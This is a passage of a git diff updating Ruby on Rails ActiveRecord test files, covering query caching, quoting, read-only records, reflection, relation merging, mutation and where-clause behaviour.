+  class PrimaryKeyBigSerialTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+
+    class Widget < ActiveRecord::Base
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      @connection.create_table(:widgets, id: :bigserial) { |t| }
+    end
+
+    teardown do
+      @connection.drop_table :widgets
+    end
+
+    def test_bigserial_primary_key
+      assert_equal "id", Widget.primary_key
+      assert_equal :integer, Widget.columns_hash[Widget.primary_key].type
+
+      widget = Widget.create!
+      assert_not_nil widget.id
+    end
+  end
+end
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 136fda6..9d89d6a 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -8,7 +8,7 @@ require 'rack'
 class QueryCacheTest < ActiveRecord::TestCase
   fixtures :tasks, :topics, :categories, :posts, :categories_posts
 
-  def setup
+  teardown do
     Task.connection.clear_query_cache
     ActiveRecord::Base.connection.disable_query_cache!
   end
@@ -118,6 +118,14 @@ class QueryCacheTest < ActiveRecord::TestCase
     assert ActiveRecord::Base.connection.query_cache.empty?, 'cache should be empty'
   end
 
+  def test_cache_passing_a_relation
+    post = Post.first
+    Post.cache do
+      query = post.categories.select(:post_id)
+      assert Post.connection.select_all(query).is_a?(ActiveRecord::Result)
+    end
+  end
+
   def test_find_queries
     assert_queries(2) { Task.find(1); Task.find(1) }
   end
@@ -134,6 +142,15 @@ class QueryCacheTest < ActiveRecord::TestCase
     end
   end
 
+  def test_find_queries_with_multi_cache_blocks
+    Task.cache do
+      Task.cache do
+        assert_queries(2) { Task.find(1); Task.find(2) }
+      end
+      assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+    end
+  end
+
   def test_count_queries_with_cache
     Task.cache do
       assert_queries(1) { Task.count; Task.count }
@@ -205,7 +222,7 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
     Post.find(1)
 
     # change the column definition
-    Post.connection.change_column :posts, :title, :string, :limit => 80
+    Post.connection.change_column :posts, :title, :string, limit: 80
     assert_nothing_raised { Post.find(1) }
 
     # restore the old definition
@@ -232,7 +249,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
 
   def test_update
     Task.connection.expects(:clear_query_cache).times(2)
-
     Task.cache do
       task = Task.find(1)
       task.starting = Time.now.utc
@@ -242,7 +258,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
 
   def test_destroy
     Task.connection.expects(:clear_query_cache).times(2)
-
     Task.cache do
       Task.find(1).destroy
     end
@@ -250,7 +265,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
 
   def test_insert
     ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
-
     Task.cache do
       Task.create!
     end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
index 3dd11ae..e2439b9 100644
--- a/activerecord/test/cases/quoting_test.rb
+++ b/activerecord/test/cases/quoting_test.rb
@@ -53,50 +53,40 @@ module ActiveRecord
       end
 
       def test_quoted_time_utc
-        before = ActiveRecord::Base.default_timezone
-        ActiveRecord::Base.default_timezone = :utc
-        t = Time.now
-        assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
-      ensure
-        ActiveRecord::Base.default_timezone = before
+        with_timezone_config default: :utc do
+          t = Time.now
+          assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+        end
       end
 
       def test_quoted_time_local
-        before = ActiveRecord::Base.default_timezone
-        ActiveRecord::Base.default_timezone = :local
-        t = Time.now
-        assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
-      ensure
-        ActiveRecord::Base.default_timezone = before
+        with_timezone_config default: :local do
+          t = Time.now
+          assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+        end
       end
 
       def test_quoted_time_crazy
-        before = ActiveRecord::Base.default_timezone
-        ActiveRecord::Base.default_timezone = :asdfasdf
-        t = Time.now
-        assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
-      ensure
-        ActiveRecord::Base.default_timezone = before
+        with_timezone_config default: :asdfasdf do
+          t = Time.now
+          assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+        end
       end
 
       def test_quoted_datetime_utc
-        before = ActiveRecord::Base.default_timezone
-        ActiveRecord::Base.default_timezone = :utc
-        t = DateTime.now
-        assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
-      ensure
-        ActiveRecord::Base.default_timezone = before
+        with_timezone_config default: :utc do
+          t = DateTime.now
+          assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+        end
       end
 
       ###
       # DateTime doesn't define getlocal, so make sure it does nothing
       def test_quoted_datetime_local
-        before = ActiveRecord::Base.default_timezone
-        ActiveRecord::Base.default_timezone = :local
-        t = DateTime.now
-        assert_equal t.to_s(:db), @quoter.quoted_date(t)
-      ensure
-        ActiveRecord::Base.default_timezone = before
+        with_timezone_config default: :local do
+          t = DateTime.now
+          assert_equal t.to_s(:db), @quoter.quoted_date(t)
+        end
       end
 
       def test_quote_with_quoted_id
@@ -194,25 +184,6 @@ module ActiveRecord
         assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:binary))
       end
 
-      def test_quote_binary_with_string_to_binary
-        col = Class.new(FakeColumn) {
-          def string_to_binary(value)
-            'foo'
-          end
-        }.new(:binary)
-        assert_equal "'foo'", @quoter.quote('lo\l', col)
-      end
-
-      def test_quote_as_mb_chars_binary_column_with_string_to_binary
-        col = Class.new(FakeColumn) {
-          def string_to_binary(value)
-            'foo'
-          end
-        }.new(:binary)
-        string = ActiveSupport::Multibyte::Chars.new('lo\l')
-        assert_equal "'foo'", @quoter.quote(string, col)
-      end
-
       def test_string_with_crazy_column
         assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:foo))
       end
diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb
index df076c9..2afd25c 100644
--- a/activerecord/test/cases/readonly_test.rb
+++ b/activerecord/test/cases/readonly_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require 'models/author'
 require 'models/post'
 require 'models/comment'
 require 'models/developer'
@@ -7,7 +8,7 @@ require 'models/reader'
 require 'models/person'
 
 class ReadOnlyTest < ActiveRecord::TestCase
-  fixtures :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
+  fixtures :authors, :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
 
   def test_cant_save_readonly_record
     dev = Developer.find(1)
@@ -34,15 +35,12 @@ class ReadOnlyTest < ActiveRecord::TestCase
     Developer.readonly.each { |d| assert d.readonly? }
   end
 
+  def test_find_with_joins_option_does_not_imply_readonly
+    Developer.joins('  ').each { |d| assert_not d.readonly? }
+    Developer.joins('  ').readonly(true).each { |d| assert d.readonly? }
 
-  def test_find_with_joins_option_implies_readonly
-    # Blank joins don't count.
-    Developer.joins('  ').each { |d| assert !d.readonly? }
-    Developer.joins('  ').readonly(false).each { |d| assert !d.readonly? }
-
-    # Others do.
-    Developer.joins(', projects').each { |d| assert d.readonly? }
-    Developer.joins(', projects').readonly(false).each { |d| assert !d.readonly? }
+    Developer.joins(', projects').each { |d| assert_not d.readonly? }
+    Developer.joins(', projects').readonly(true).each { |d| assert d.readonly? }
   end
 
   def test_has_many_find_readonly
@@ -87,7 +85,7 @@ class ReadOnlyTest < ActiveRecord::TestCase
     # conflicting column names
     unless current_adapter?(:OracleAdapter)
       Post.joins(', developers').scoping do
-        assert Post.find(1).readonly?
+        assert_not Post.find(1).readonly?
         assert Post.readonly.find(1).readonly?
         assert !Post.readonly(false).find(1).readonly?
       end
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
index e53a27d..b62a41c 100644
--- a/activerecord/test/cases/reaper_test.rb
+++ b/activerecord/test/cases/reaper_test.rb
@@ -69,7 +69,7 @@ module ActiveRecord
         conn = pool.checkout
         count = pool.connections.length
 
-        conn.extend(Module.new { def active?; false; end; })
+        conn.extend(Module.new { def active_threadsafe?; false; end; })
 
         while count == pool.connections.length
           Thread.pass
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index 304a906..cd6bf48 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -40,18 +40,18 @@ class ReflectionTest < ActiveRecord::TestCase
 
   def test_read_attribute_names
     assert_equal(
-      %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count parent_id parent_title type created_at updated_at ).sort,
+      %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count unique_replies_count parent_id parent_title type created_at updated_at ).sort,
       @first.attribute_names.sort
     )
   end
 
   def test_columns
-    assert_equal 17, Topic.columns.length
+    assert_equal 18, Topic.columns.length
   end
 
   def test_columns_are_returned_in_the_order_they_were_declared
     column_names = Topic.columns.map { |column| column.name }
-    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count parent_id parent_title type group created_at updated_at), column_names
+    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count unique_replies_count parent_id parent_title type group created_at updated_at), column_names
   end
 
   def test_content_columns
@@ -87,6 +87,14 @@ class ReflectionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_irregular_reflection_class_name
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.irregular 'plural_irregular', 'plurales_irregulares'
+    end
+    reflection = AssociationReflection.new(:has_many, 'plurales_irregulares', nil, {}, ActiveRecord::Base)
+    assert_equal 'PluralIrregular', reflection.class_name
+  end
+
   def test_aggregation_reflection
     reflection_for_address = AggregateReflection.new(
       :composed_of, :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
@@ -191,16 +199,13 @@ class ReflectionTest < ActiveRecord::TestCase
     ActiveRecord::Base.store_full_sti_class = true
   end
 
-  def test_reflection_of_all_associations
-    # FIXME these assertions bust a lot
-    assert_equal 39, Firm.reflect_on_all_associations.size
-    assert_equal 29, Firm.reflect_on_all_associations(:has_many).size
-    assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
-    assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
+  def test_reflection_should_not_raise_error_when_compared_to_other_object
+    assert_not_equal Object.new, Firm._reflections[:clients]
   end
 
-  def test_reflection_should_not_raise_error_when_compared_to_other_object
-    assert_nothing_raised { Firm.reflections[:clients] == Object.new }
+  def test_has_and_belongs_to_many_reflection
+    assert_equal :has_and_belongs_to_many, Category.reflections[:posts].macro
+    assert_equal :posts, Category.reflect_on_all_associations(:has_and_belongs_to_many).first.name
   end
 
   def test_has_many_through_reflection
@@ -276,8 +281,9 @@ class ReflectionTest < ActiveRecord::TestCase
     reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, nil, {}, Author)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
 
-    through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, nil, {}, Author)
-    through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge'))
+    through = Class.new(ActiveRecord::Reflection::ThroughReflection) {
+      define_method(:source_reflection) { reflection }
+    }.new(:fuu, :edge, nil, {}, Author)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
   end
 
diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb
new file mode 100644
index 0000000..29c9d0e
--- /dev/null
+++ b/activerecord/test/cases/relation/delegation_test.rb
@@ -0,0 +1,68 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/comment'
+
+module ActiveRecord
+  class DelegationTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def call_method(target, method)
+      method_arity = target.to_a.method(method).arity
+
+      if method_arity.zero?
+        target.public_send(method)
+      elsif method_arity < 0
+        if method == :shuffle!
+          target.public_send(method)
+        else
+          target.public_send(method, 1)
+        end
+       elsif method_arity == 1
+        target.public_send(method, 1)
+      else
+        raise NotImplementedError
+      end
+    end
+  end
+
+  module DelegationWhitelistBlacklistTests
+    ARRAY_DELEGATES = [
+      :+, :-, :|, :&, :[],
+      :all?, :collect, :detect, :each, :each_cons, :each_with_index,
+      :exclude?, :find_all, :flat_map, :group_by, :include?, :length,
+      :map, :none?, :one?, :partition, :reject, :reverse,
+      :sample, :second, :sort, :sort_by, :third,
+      :to_ary, :to_set, :to_xml, :to_yaml, :join
+    ]
+
+    ARRAY_DELEGATES.each do |method|
+      define_method "test_delegates_#{method}_to_Array" do
+        assert_respond_to target, method
+      end
+    end
+
+    ActiveRecord::Delegation::BLACKLISTED_ARRAY_METHODS.each do |method|
+      define_method "test_#{method}_is_not_delegated_to_Array" do
+        assert_raises(NoMethodError) { call_method(target, method) }
+      end
+    end
+  end
+
+  class DelegationAssociationTest < DelegationTest
+    include DelegationWhitelistBlacklistTests
+
+    def target
+      Post.first.comments
+    end
+  end
+
+  class DelegationRelationTest < DelegationTest
+    include DelegationWhitelistBlacklistTests
+
+    fixtures :comments
+
+    def target
+      Comment.all
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/merging_test.rb b/activerecord/test/cases/relation/merging_test.rb
new file mode 100644
index 0000000..dcf8261
--- /dev/null
+++ b/activerecord/test/cases/relation/merging_test.rb
@@ -0,0 +1,168 @@
+require 'cases/helper'
+require 'models/author'
+require 'models/comment'
+require 'models/developer'
+require 'models/post'
+require 'models/project'
+
+class RelationMergingTest < ActiveRecord::TestCase
+  fixtures :developers, :comments, :authors, :posts
+
+  def test_relation_merging
+    devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
+    assert_equal [developers(:david), developers(:jamis)], devs.to_a
+
+    dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
+    assert_equal [developers(:poor_jamis)], dev_with_count.to_a
+  end
+
+  def test_relation_to_sql
+    post = Post.first
+    sql = Post.connection.unprepared_statement do
+      post.comments.to_sql
+    end
+    assert_match(/.?post_id.? = #{post.id}\Z/i, sql)
+  end
+
+  def test_relation_merging_with_arel_equalities_keeps_last_equality
+    devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
+      Developer.where(Developer.arel_table[:salary].eq(9000))
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
+  def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
+    salary_attr = Developer.arel_table[:salary]
+    devs = Developer.where(
+      Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
+    ).merge(
+      Developer.where(
+        Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
+      )
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
+  def test_relation_merging_with_eager_load
+    relations = []
+    relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
+    relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
+
+    relations.each do |posts|
+      post = posts.find { |p| p.id == 1 }
+      assert_equal Post.find(1).last_comment, post.last_comment
+    end
+  end
+
+  def test_relation_merging_with_locks
+    devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
+    assert devs.locked.present?
+  end
+
+  def test_relation_merging_with_preload
+    [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
+      assert_queries(2) { assert posts.first.author }
+    end
+  end
+
+  def test_relation_merging_with_joins
+    comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
+    assert_equal 1, comments.count
+  end
+
+  def test_relation_merging_with_association
+    assert_queries(2) do  # one for loading post, and another one merged query
+      post = Post.where(:body => 'Such a lovely day').first
+      comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
+      assert_equal 1, comments.count
+    end
+  end
+
+  test "merge collapses wheres from the LHS only" do
+    left  = Post.where(title: "omg").where(comments_count: 1)
+    right = Post.where(title: "wtf").where(title: "bbq")
+
+    expected = [left.where_values[1]] + right.where_values
+    merged   = left.merge(right)
+
+    assert_equal expected, merged.where_values
+    assert !merged.to_sql.include?("omg")
+    assert merged.to_sql.include?("wtf")
+    assert merged.to_sql.include?("bbq")
+  end
+
+  def test_merging_removes_rhs_bind_parameters
+    left  = Post.where(id: Arel::Nodes::BindParam.new('?'))
+    column = Post.columns_hash['id']
+    left.bind_values += [[column, 20]]
+    right   = Post.where(id: 10)
+
+    merged = left.merge(right)
+    assert_equal [], merged.bind_values
+  end
+
+  def test_merging_keeps_lhs_bind_parameters
+    column = Post.columns_hash['id']
+    binds = [[column, 20]]
+
+    right  = Post.where(id: Arel::Nodes::BindParam.new('?'))
+    right.bind_values += binds
+    left   = Post.where(id: 10)
+
+    merged = left.merge(right)
+    assert_equal binds, merged.bind_values
+  end
+
+  def test_merging_reorders_bind_params
+    post         = Post.first
+    id_column    = Post.columns_hash['id']
+    title_column = Post.columns_hash['title']
+
+    bv = Post.connection.substitute_at id_column, 0
+
+    right  = Post.where(id: bv)
+    right.bind_values += [[id_column, post.id]]
+
+    left   = Post.where(title: bv)
+    left.bind_values += [[title_column, post.title]]
+
+    merged = left.merge(right)
+    assert_equal post, merged.first
+  end
+
+  def test_merging_compares_symbols_and_strings_as_equal
+    post = PostThatLoadsCommentsInAnAfterSaveHook.create!(title: "First Post", body: "Blah blah blah.")
+    assert_equal "First comment!", post.comments.where(body: "First comment!").first_or_create.body
+  end
+end
+
+class MergingDifferentRelationsTest < ActiveRecord::TestCase
+  fixtures :posts, :authors
+
+  test "merging where relations" do
+    hello_by_bob = Post.where(body: "hello").joins(:author).
+      merge(Author.where(name: "Bob")).order("posts.id").pluck("posts.id")
+
+    assert_equal [posts(:misc_by_bob).id,
+                  posts(:other_by_bob).id], hello_by_bob
+  end
+
+  test "merging order relations" do
+    posts_by_author_name = Post.limit(3).joins(:author).
+      merge(Author.order(:name)).pluck("authors.name")
+
+    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+
+    posts_by_author_name = Post.limit(3).joins(:author).
+      merge(Author.order("name")).pluck("authors.name")
+
+    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+  end
+
+  test "merging order relations (using a hash argument)" do
+    posts_by_author_name = Post.limit(4).joins(:author).
+      merge(Author.order(name: :desc)).pluck("authors.name")
+
+    assert_equal ["Mary", "Mary", "Mary", "David"], posts_by_author_name
+  end
+end
diff --git a/activerecord/test/cases/relation/mutation_test.rb b/activerecord/test/cases/relation/mutation_test.rb
new file mode 100644
index 0000000..ace1ce7
--- /dev/null
+++ b/activerecord/test/cases/relation/mutation_test.rb
@@ -0,0 +1,153 @@
+require 'cases/helper'
+require 'models/post'
+
+module ActiveRecord
+  class RelationMutationTest < ActiveSupport::TestCase
+    class FakeKlass < Struct.new(:table_name, :name)
+      extend ActiveRecord::Delegation::DelegateCache
+      inherited self
+
+      def connection
+        Post.connection
+      end
+
+      def relation_delegate_class(klass)
+        self.class.relation_delegate_class(klass)
+      end
+
+      def attribute_alias?(name)
+        false
+      end
+    end
+
+    def relation
+      @relation ||= Relation.new FakeKlass.new('posts'), Post.arel_table
+    end
+
+    (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal [:foo], relation.public_send("#{method}_values")
+      end
+    end
+
+    test "#_select!" do
+      assert relation.public_send("_select!", :foo).equal?(relation)
+      assert_equal [:foo], relation.public_send("select_values")
+    end
+
+    test '#order!' do
+      assert relation.order!('name ASC').equal?(relation)
+      assert_equal ['name ASC'], relation.order_values
+    end
+
+    test '#order! with symbol prepends the table name' do
+      assert relation.order!(:name).equal?(relation)
+      node = relation.order_values.first
+      assert node.ascending?
+      assert_equal :name, node.expr.name
+      assert_equal "posts", node.expr.relation.name
+    end
+
+    test '#order! on non-string does not attempt regexp match for references' do
+      obj = Object.new
+      obj.expects(:=~).never
+      assert relation.order!(obj)
+      assert_equal [obj], relation.order_values
+    end
+
+    test '#references!' do
+      assert relation.references!(:foo).equal?(relation)
+      assert relation.references_values.include?('foo')
+    end
+
+    test 'extending!' do
+      mod, mod2 = Module.new, Module.new
+
+      assert relation.extending!(mod).equal?(relation)
+      assert_equal [mod], relation.extending_values
+      assert relation.is_a?(mod)
+
+      relation.extending!(mod2)
+      assert_equal [mod, mod2], relation.extending_values
+    end
+
+    test 'extending! with empty args' do
+      relation.extending!
+      assert_equal [], relation.extending_values
+    end
+
+    (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal :foo, relation.public_send("#{method}_value")
+      end
+    end
+
+    test '#from!' do
+      assert relation.from!('foo').equal?(relation)
+      assert_equal ['foo', nil], relation.from_value
+    end
+
+    test '#lock!' do
+      assert relation.lock!('foo').equal?(relation)
+      assert_equal 'foo', relation.lock_value
+    end
+
+    test '#reorder!' do
+      relation = self.relation.order('foo')
+
+      assert relation.reorder!('bar').equal?(relation)
+      assert_equal ['bar'], relation.order_values
+      assert relation.reordering_value
+    end
+
+    test '#reorder! with symbol prepends the table name' do
+      assert relation.reorder!(:name).equal?(relation)
+      node = relation.order_values.first
+
+      assert node.ascending?
+      assert_equal :name, node.expr.name
+      assert_equal "posts", node.expr.relation.name
+    end
+
+    test 'reverse_order!' do
+      assert relation.reverse_order!.equal?(relation)
+      assert relation.reverse_order_value
+      relation.reverse_order!
+      assert !relation.reverse_order_value
+    end
+
+    test 'create_with!' do
+      assert relation.create_with!(foo: 'bar').equal?(relation)
+      assert_equal({foo: 'bar'}, relation.create_with_value)
+    end
+
+    test 'test_merge!' do
+      assert relation.merge!(where: :foo).equal?(relation)
+      assert_equal [:foo], relation.where_values
+    end
+
+    test 'merge with a proc' do
+      assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
+    end
+
+    test 'none!' do
+      assert relation.none!.equal?(relation)
+      assert_equal [NullRelation], relation.extending_values
+      assert relation.is_a?(NullRelation)
+    end
+
+    test 'distinct!' do
+      relation.distinct! :foo
+      assert_equal :foo, relation.distinct_value
+      assert_equal :foo, relation.uniq_value # deprecated access
+    end
+
+    test 'uniq! was replaced by distinct!' do
+      relation.uniq! :foo
+      assert_equal :foo, relation.distinct_value
+      assert_equal :foo, relation.uniq_value # deprecated access
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/predicate_builder_test.rb b/activerecord/test/cases/relation/predicate_builder_test.rb
new file mode 100644
index 0000000..14a8d97
--- /dev/null
+++ b/activerecord/test/cases/relation/predicate_builder_test.rb
@@ -0,0 +1,14 @@
+require "cases/helper"
+require 'models/topic'
+
+module ActiveRecord
+  class PredicateBuilderTest < ActiveRecord::TestCase
+    def test_registering_new_handlers
+      PredicateBuilder.register_handler(Regexp, proc do |column, value|
+        Arel::Nodes::InfixOperation.new('~', column, value.source)
+      end)
+
+      assert_match %r{["`]topics["`].["`]title["`] ~ 'rails'}i, Topic.where(title: /rails/).to_sql
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
index 92d1e01..fd2420c 100644
--- a/activerecord/test/cases/relation/where_chain_test.rb
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -23,6 +23,12 @@ module ActiveRecord
       assert_equal([expected], relation.where_values)
     end
 
+    def test_not_with_nil
+      assert_raise ArgumentError do
+        Post.where.not(nil)
+      end
+    end
+
     def test_not_in
       expected = Arel::Nodes::NotIn.new(Post.arel_table[@name], %w[hello goodbye])
       relation = Post.where.not(title: %w[hello goodbye])
@@ -76,5 +82,35 @@ module ActiveRecord
       expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'ruby on rails')
       assert_equal(expected, relation.where_values[1])
     end
+    
+    def test_rewhere_with_one_condition
+      relation = Post.where(title: 'hello').where(title: 'world').rewhere(title: 'alone')
+
+      expected = Arel::Nodes::Equality.new(Post.arel_table[@name], 'alone')
+      assert_equal 1, relation.where_values.size
+      assert_equal expected, relation.where_values.first
+    end
+
+    def test_rewhere_with_multiple_overwriting_conditions
+      relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone', body: 'again')
+
+      title_expected = Arel::Nodes::Equality.new(Post.arel_table['title'], 'alone')
+      body_expected  = Arel::Nodes::Equality.new(Post.arel_table['body'], 'again')
+
+      assert_equal 2, relation.where_values.size
+      assert_equal title_expected, relation.where_values.first
+      assert_equal body_expected, relation.where_values.second
+    end
+
+    def test_rewhere_with_one_overwriting_condition_and_one_unrelated
+      relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone')
+
+      title_expected = Arel::Nodes::Equality.new(Post.arel_table['title'], 'alone')
+      body_expected  = Arel::Nodes::Equality.new(Post.arel_table['body'], 'world')
+
+      assert_equal 2, relation.where_values.size
+      assert_equal body_expected, relation.where_values.first
+      assert_equal title_expected, relation.where_values.second
+    end
   end
 end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
index c43c760..937f226 100644
--- a/activerecord/test/cases/relation/where_test.rb
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -5,6 +5,7 @@ require 'models/treasure'
 require 'models/post'
 require 'models/comment'
 require 'models/edge'
+require 'models/topic'
 
 module ActiveRecord
   class WhereTest < ActiveRecord::TestCase
@@ -23,6 +24,10 @@ module ActiveRecord
       }
     end
 
+    def test_rewhere_on_root
+      assert_equal posts(:welcome), Post.rewhere(title: 'Welcome to the weblog').first
+    end
+
     def test_belongs_to_shallow_where
       author = Author.new
       author.id = 1
@@ -30,6 +35,21 @@ module ActiveRecord
       assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
     end
 
+    def test_belongs_to_nil_where
+      assert_equal Post.where(author_id: nil).to_sql, Post.where(author: nil).to_sql
+    end
+
+    def test_belongs_to_array_value_where
+      assert_equal Post.where(author_id: [1,2]).to_sql, Post.where(author: [1,2]).to_sql
+    end
+
+    def test_belongs_to_nested_relation_where
+      expected = Post.where(author_id: Author.where(id: [1,2])).to_sql
+      actual   = Post.where(author:    Author.where(id: [1,2])).to_sql
+
+      assert_equal expected, actual
+    end
+
     def test_belongs_to_nested_where
       parent = Comment.new
       parent.id = 1
@@ -50,6 +70,25 @@ module ActiveRecord
       assert_equal expected.to_sql, actual.to_sql
     end
 
+    def test_polymorphic_nested_array_where
+      treasure = Treasure.new
+      treasure.id = 1
+      hidden = HiddenTreasure.new
+      hidden.id = 2
+
+      expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: [treasure, hidden])
+      actual   = PriceEstimate.where(estimate_of: [treasure, hidden])
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_polymorphic_nested_relation_where
+      expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: Treasure.where(id: [1,2]))
+      actual   = PriceEstimate.where(estimate_of: Treasure.where(id: [1,2]))
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
     def test_polymorphic_sti_shallow_where
       treasure = HiddenTreasure.new
       treasure.id = 1
@@ -80,6 +119,38 @@ module ActiveRecord
       assert_equal expected.to_sql, actual.to_sql
     end
 
+    def test_decorated_polymorphic_where
+      treasure_decorator = Struct.new(:model) do
+        def self.method_missing(method, *args, &block)
+          Treasure.send(method, *args, &block)
+        end
+
+        def is_a?(klass)
+          model.is_a?(klass)
+        end
+
+        def method_missing(method, *args, &block)
+          model.send(method, *args, &block)
+        end
+      end
+
+      treasure = Treasure.new
+      treasure.id = 1
+      decorated_treasure = treasure_decorator.new(treasure)
+
+      expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: 1)
+      actual   = PriceEstimate.where(estimate_of: decorated_treasure)
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_aliased_attribute
+      expected = Topic.where(heading: 'The First Topic')
+      actual   = Topic.where(title: 'The First Topic')
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
     def test_where_error
       assert_raises(ActiveRecord::StatementInvalid) do
         Post.where(:id => { 'posts.author_id' => 10 }).first
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index c884c4c..fb0b906 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -9,13 +9,21 @@ module ActiveRecord
     fixtures :posts, :comments, :authors
 
     class FakeKlass < Struct.new(:table_name, :name)
+      extend ActiveRecord::Delegation::DelegateCache
+
+      inherited self
+
+      def self.connection
+        Post.connection
+      end
+
+      def self.table_name
+        'fake_table'
+      end
     end
 
     def test_construction
-      relation = nil
-      assert_nothing_raised do
-        relation = Relation.new FakeKlass, :b
-      end
+      relation = Relation.new FakeKlass, :b
       assert_equal FakeKlass, relation.klass
       assert_equal :b, relation.table
       assert !relation.loaded, 'relation is not loaded'
@@ -76,8 +84,8 @@ module ActiveRecord
     end
 
     def test_table_name_delegates_to_klass
-      relation = Relation.new FakeKlass.new('foo'), :b
-      assert_equal 'foo', relation.table_name
+      relation = Relation.new FakeKlass.new('posts'), :b
+      assert_equal 'posts', relation.table_name
     end
 
     def test_scope_for_create
@@ -111,6 +119,12 @@ module ActiveRecord
       assert_equal({}, relation.scope_for_create)
     end
 
+    def test_bad_constants_raise_errors
+      assert_raises(NameError) do
+        ActiveRecord::Relation::HelloWorld
+      end
+    end
+
     def test_empty_eager_loading?
       relation = Relation.new FakeKlass, :b
       assert !relation.eager_loading?
